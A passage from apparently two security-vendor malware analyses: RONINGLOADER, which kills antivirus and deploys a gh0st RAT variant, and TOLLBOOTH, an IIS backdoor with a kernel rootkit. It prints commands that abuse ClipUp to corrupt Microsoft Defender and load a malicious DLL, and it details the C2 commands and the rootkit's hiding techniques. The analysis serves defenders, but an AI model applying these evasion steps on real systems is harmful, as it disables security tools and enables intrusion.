The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to "True" if any are found.

The following is a table of processes and the associated security products hardcoded in the binary:

AV process termination via injected remote process

Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.

First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (vssvc.exe) associated with the Volume Shadow Copy (VSS) service.
It first grants itself the high integrity SeDebugPrivilege token.

It then starts the VSS (Volume Shadow Copy Service) if it is not already running and fetches the PID of its associated process (vssvc.exe).

Next, the malware uses NtCreateSection to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name \\.\Ollama. The second section contains shellcode intended for execution.

RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented by SafeBreach in 2023 with different variants.

Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the Fowler–Noll–Vo hash (FNV) algorithm to look up functions by hash instead of by name.

It first fetches the addresses of CreateFileW, WriteFile, and CloseHandle to write the driver to disk to a hardcoded path, C:\windows\system32\drivers\1912763.temp.

Then it performs the following operations:

Create a service named xererre1 to load the driver dropped to disk
For each of the following processes (360Safe.exe, 360Tray.exe, and ZhuDongFangYu.exe), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID
It then stops and deletes the service xererre1

To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (0x222000) that takes a PID as a parameter and kills the process by first opening it with ZwOpenProcess, then terminating it with ZwTerminateProcess kernel APIs.

AV process termination

Returning to the main execution flow, the malware enters a loop to confirm the termination of 360tray.exe, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.

It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.

RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:

First, it writes the malicious driver to disk, this time to the temporary path C:\Users\analysis\AppData\Local\Temp\ollama.sys.
A temporary service (ollama) is created to load ollama.sys into the kernel
The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.
Immediately after the kill command is sent, the service is deleted.

Regarding Microsoft Defender, the malware attempts to kill the MsMpEng.exe process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the MsMpEng.exe process. This means that if the process is not running, the malware will send 0 as the PID to the driver.

The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into vssvc.exe, but the list of processes is different, as seen in the screenshot below.

The injection technique also uses threadpools, but the injected code is triggered by an event.

After the process termination, the malware creates 4 folders

C:\ProgramData\lnk
C:\ProgramData\
C:\Users\Public\Downloads\
C:\ProgramData\Roning

Embedded archives

The malware then writes three .txt files to C:\Users\Public\Downloads\. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.
This custom file structure is organized as follows:

Magic Bytes: The file begins with the signature 4B 44 01 00 for identification.
File Count: This is immediately followed by a value indicating the number of files encapsulated within the container.
File Metadata: A header section then describes the information for each stored file.
Compressed Data: Finally, each embedded file is stored in a ZLIB-compressed data block.

Here’s an example file format for the hjk.txt archive, which contains 2 files: 1.bat and fhq.bat.
This archive format applies to 2 other embedded files in the current stage:

agg.txt, which contains 3 files - Enpug.bin, goldendays.dll, and trustinstaller.bin
kill.txt, which contains 1 file - 1.dll

Batch scripts to bypass UAC and AV networking

1.bat is a simple batch script that disables User Account Control (UAC) by setting the EnableLUA registry value to 0.

fhq.bat is another batch script that targets the program defined in C:\ProgramData\lnk\123.txt and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.

AV process termination via Phantom DLL

The deployed DLL, 1.dll, is copied to C:\Windows\System32\Wow64\Wow64Log.dll to be side-loaded by any WOW64 processes, as Wow64Log.dll is a phantom DLL that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (TerminateProcess).

ClipUp MS Defender killer

The malware then attempts to use a PPL abuse technique documented by Zero Salarium in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through cmd.exe with the ShellExecuteW API

It searches for Microsoft Defender's installation folder under C:\ProgramData\Microsoft\Windows Defender\Platform\*, targeting only the directory with the most recent modification date, which indicates the currently used version
Create a folder C:\ProgramData\roming and a directory link with mklink to point to the directory found with the following command: cmd.exe /c mklink /D "C:\ProgramData\roming" “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”
It then runs C:\Windows\System32\ClipUp.exe with the following parameter: -ppl C:\ProgramData\roming\MsMpEng.exe, which overwrites MsMpEng.exe with junk data, effectively disabling the EDR even after a restart

The author appears to have copied code from EDR-Freeze to start ClipUp.exe.

CiPolicies

The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip.

The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:

Qihoo 360 Total Security by blocking 360rp.exe and 360sd.exe
Huorong Security by blocking ARPProte.exe
All executables signed by Huorong Security (北京火绒网络科技有限公司) via certificate TBS hash A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4

A critical component is the Enabled:Unsigned System Integrity Policy rule, which allows the policy to be loaded without a valid digital signature.

Truncated...
    
      
    
    
      
    
    
      
    
    
      
    
  
  
  
    
    
    
    
    
  
  
    
      
      
      
    
    
      
      
    
  
...Truncated

Stage 3 - goldendays.dll

In the previous stage, RONINGLOADER creates a new service named MicrosoftSoftware2ShadowCop4yProvider to run the next stage of execution with the following command: regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll.

The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.

To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:

TrustedInstaller (TrustedInstaller.exe)
MicrosoftEdgeElevationService (elevation_service.exe)

The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.

Next, the malware establishes persistence by creating a batch file with a random name within the C:\Windows\ directory (e.g., C:\Windows\KPeYvogsPm.bat). The script inside this file runs a continuous loop with the following logic:

It checks if the captured PID of the trusted service (e.g., PID 4016 for TrustedInstaller.exe) is still running
If the service is not running, the script restarts the previously created malicious service (MicrosoftSoftware2ShadowCop4yProvider) to ensure the malware's components remain active
If the service process is running, the script sleeps for 10 seconds before checking again

Finally, the malware reads the contents of C:\ProgramData\Roning\trustinstaller.bin. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (TrustedInstaller.exe or elevation_service.exe). The injection method is straightforward: it performs a remote virtual allocation with VirtualAllocEx, writes to it with WriteProcessMemory, and then creates a remote thread to execute it with CreateRemoteThread.

Stage 3 - trustinstaller.bin

The third stage, contained within trustinstaller.bin, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.

When found, it will inject the shellcode into C:\ProgramData\Roning\Enpug.bin, which is the final payload. It will create a section with NtCreateSection, map a view of it in the remote process with NtMapViewOfSection, and write the payload to it. Then it will create a remote thread with CreateRemoteThread.

Stage 4 - Final Payload

The final payload has not undergone major changes since Sophos’s discovery of a DragonBreath campaign in 2023 and QianXin’s report in mid-2022. It is still a modified version of the open-source gh0st RAT.

In the more recent campaigns, a mutex of value Global\DHGGlobalMutex is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named MyUniqueMutexName and immediately destroying it afterward.

The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.

Victim Beacon Data

The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through Sleep( * 1000). Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:

struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)

    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP

    // +0x008
    char hostname[50];               // Computer name or registry "Remark"

    // +0x03A
    char windows_version[?];         // OS version info

    // +0x0D8
    char cpu_name[64];               // Processor name

    // +0x118
    uint32_t entry_rdx;              

    // +0x11C
    char time_value[64];             // Implant installed time or registry "Time" value

    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)

    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows

    // +0x184
    char av_processes_found[128];    // Antivirus processes found

    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 

    // +0x244
    char crypto_wallet_track[64];    // "狐狸系列" (MetaMask) or registry "ZU" (crypto related tracking)

    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights

    // +0x285
    char data[?];             

    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed

    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running

    // +0x307
    // (padding to 0x308 bytes)
};

C2 commands

Request messages sent from the C2 server to the implant follow the structure:

struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};

The implant decrypts C2 messages through the following formula:

RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)

Below is a list of available commands that, for the most part, remain the same as 2 years ago:

| Command ID | Description | | :---- | :---- | | 0 | ExitWindowsEx via a supplied EXIT_WINDOWS_FLAGS | | 1 | Terminate implant gracefully | | 2 | Set registry key Enable to False to terminate & disable implant persistently | | 3 | Set registry key Remark for custom victim renaming (default value: hostname) | | 4 | Set registry key ZU for MetaMask / crypto-related tagging | | 5 | Clear Windows Event logs (Application, Security, System) | | 6 | Set additional custom tags when client beacons | | 7 | Download and execute file via supplied URL | | 9 | ShellExecute (visible window) | | 10 | ShellExecute (hidden window) | | 112 | Get clipboard data | | 113 | Set clipboard data | | 125 | ShellExecute cmd.exe with command parameters (hidden window) | | 126 | Execute payload by dropping to disk or reflectively load and execute PluginMe export | | 128 | First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key CopyC to update C2 domain and port permanently. Stored encrypted via Base64Encode(XOR(C2_domain_and_port, 0x5)). | | 241 | Check if Telegram is installed and/or running | | 243 | Configure Clipboard Hijacker | | 101, 127, 236, [...] | Custom shellcode injection into svchost.exe using WTS session token impersonation, falling back to CREATE_SUSPENDED process injection via CreateRemoteThread |

Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.

System Logger

In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to %ProgramData%\microsoft.dotnet.common.log and can be enabled or disabled via a registry key at HKEY_CURRENT_USER\offlinekey\open (1 to enable, 0 to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.

The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.

The malware then enters a monitoring loop to capture three categories of information.

First, it monitors the clipboard using OpenClipboard and GetClipboardData, logging any changes to text content with the prefix [剪切板:].
Second, it tracks window focus changes via GetForegroundWindow, logging the active window title and timestamp with the prefixes [标题:] and [时间:], respectively, whenever the user switches applications.
Third, it retrieves buffered keyboard events from the DirectInput8 device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix [内容:].

Clipboard Hijacker

The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under HKEY_CURRENT_USER\offlinekey with keys clipboard (enable/disable feature), charac (search string), characLen (search length), and newcharac (replacement string).

It registers a window class named ClipboardListener_Class_Toggle and creates a hidden window titled ClipboardMonitor to receive clipboard change notifications. The window procedure handles WM_CLIPBOARDUPDATE (0x31D) messages by verifying clipboard sequence numbers with GetClipboardSequenceNumber to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via EmptyClipboard and SetClipboardData.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigations

Detection

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b | SHA-256 | klklznuah.msi | Initial MSI installer | | 82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724 | SHA-256 | Snieoatwtregoable.exe | Malicious installer unpacked from initial installer | | c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5 | SHA-256 | Snieoatwtregoable.dll | Stage 1 - loader for stage 2 | | 2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5 | SHA-256 | ollama.sys | Stage 2 - driver for process termination | | 1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7 | SHA-256 | tp.png | Stage 2 - encrypted core payload | | 395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d | SHA-256 | 1.bat | Stage 2 - UAC bypass script | | 1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2 | SHA-256 | fhq.bat | Stage 2 - script to block networking for AV processes | | 4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6 | SHA-256 | 1.dll | Stage 2 - AV processes termination | | 96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0 | SHA-256 | {31351756-3F24-4963-8380-4E7602335AAE}.cip | Stage 2 - WDAC policy | | 33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c | SHA-256 | goldendays.dll | Stage 3 - entry point | | fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc | SHA-256 | trustinstaller.bin | Stage 3 - loader for Enpug.bin | | fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107 | SHA-256 | Enpug.bin | Stage 3 - loader for final payload | | 3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33 | SHA-256 | 6uf9i.exe | Stage 4 - final payload | | qaqkongtiao[.]com | domain-name | | Stage 4 - final payload C2 |

References

The following were referenced throughout the above research:

https://nsis.sourceforge.io/Main_Page
https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
https://github.com/Jemmy1228/HookSigntool
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://hijacklibs.net/entries/microsoft/built-in/wow64log.html
https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function
https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43
https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/
https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/
https://github.com/sin5678/gh0st

TOLLBOOTH: What's yours, IIS mine

Wed, 22 Oct 2025 00:00:00 GMT

Introduction

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
Threat actors adapted the open source “Hidden” rootkit project to hide their presence
The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

Discovery/enumeration capabilities
Privilege escalation techniques
Command execution/file execution
Shellcode loader, meterpreter, in-memory PE execution
File management, zipping utility
Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
Browser password scraping
Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

InitializeConfigs
InitializeKernelAnalyzer
InitializePsMonitor
InitializeFSMiniFilter
InitializeRegistryFilter
InitializeDevice
InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

| Registry name | Description | Type | |---------------------|----------------------------------------------------------------|--------| | Kbj_WinkbjFsDirs | A list of directory paths to be hidden | string | | Kbj_WinkbjFsFiles | A list of file paths to be hidden | string | | Kbj_WinkbjRegKeys | A list of registry keys to be hidden | string | | Kbj_WinkbjRegValues | A list of registry values to be hidden | string | | Kbj_FangxingImages | A list of process images to whitelist | string | | Kbj_BaohuImages | A list of process images to protect | string | | Kbj_WinkbjImages | A list of process images to be hidden | string | | Kbj_Zhuangtai | A global kill switch that is set from userland | bool | | Kbj_YinshenMode | This flag signals that the rootkit must conceal its artifacts. | bool |

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

Excluded
- The rootkit will ignore the process and just let it run as expected.
Protected
- The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
Hidden
- The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

| IOCTL command | Description | |-------------------------------------|------------------------------------------------------------------------------------------------------------------------| | HID_IOCTL_SET_DRIVER_STATE | Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch. | | HID_IOCTL_GET_DRIVER_STATE | Retrieve the current state of the rootkit (enabled/disabled). | | HID_IOCTL_ADD_HIDDEN_OBJECT | Adds a new rule to hide a specific file, directory, registry key, or value. | | HID_IOCTL_REMOVE_HIDDEN_OBJECT | Removes a single hiding rule by its unique ID. | | HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS | Remove all hidden objects for a specific object type(registry keys/values, files, directories). | | HID_IOCTL_ADD_OBJECT | Adds a new rule to automatically hide, protect, or exclude a process based on its image path. | | HID_IOCTL_GET_OBJECT_STATE | Queries the current state (hidden, protected, or excluded) of a specific running process by its PID. | | HID_IOCTL_SET_OBJECT_STATE | This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID. | | HID_IOCTL_REMOVE_OBJECT | Removes a single process rule (hide, protect, or exclude) by its unique ID. | | HID_IOCTL_REMOVE_ALL_OBJECTS | This command clears all process states and image rules of a specific type. |

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

!gotohttp[.]com landing page

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

